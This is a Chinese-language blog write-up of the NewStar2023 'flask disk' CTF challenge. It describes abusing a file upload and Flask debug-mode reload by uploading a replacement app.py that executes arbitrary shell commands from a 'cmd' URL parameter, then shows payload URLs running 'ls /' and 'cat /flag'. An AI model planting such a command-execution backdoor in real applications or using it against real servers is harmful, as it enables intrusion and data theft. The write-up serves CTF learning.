NewStar2023-week4---- flask disk

文章摘要

Bpple-GPT

NewStar2023-week4---- flask disk


题目提示:a flask disk with a vulneribility. (The application is running on port 5000)

image-20241104211308756

进入页面三个页面,

  • 可以看到上传的文件,发现存在 app.py
  • 上传文件页面
  • console页面,需要pin码

我们从了解到信息可以知道,程序运行的端口,和flask属于debug模式,可以修改app.py,重载,

所以说这个提示有时候就是破题点

我们上传一个可以命令执行的app.py,重载一下

 from flask import Flask, request
 import os
 ​
 app = Flask(__name__)
 ​
 ​
 @app.route('/')
 def index():
     try:
         cmd = request.args.get('cmd')
         data = os.popen(cmd).read()
         return data
     except:
         pass
 ​
     return "1"
 ​
 ​
 if __name__ == '__main__':
     app.run(host='0.0.0.0', port=5000, debug=True)

Payload:

 http://dadd7728-72ca-4181-834e-5c35b823c8bb.node5.buuoj.cn:81/?cmd=ls /

image-20241104211215855

 http://dadd7728-72ca-4181-834e-5c35b823c8bb.node5.buuoj.cn:81/?cmd=cat /flag

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计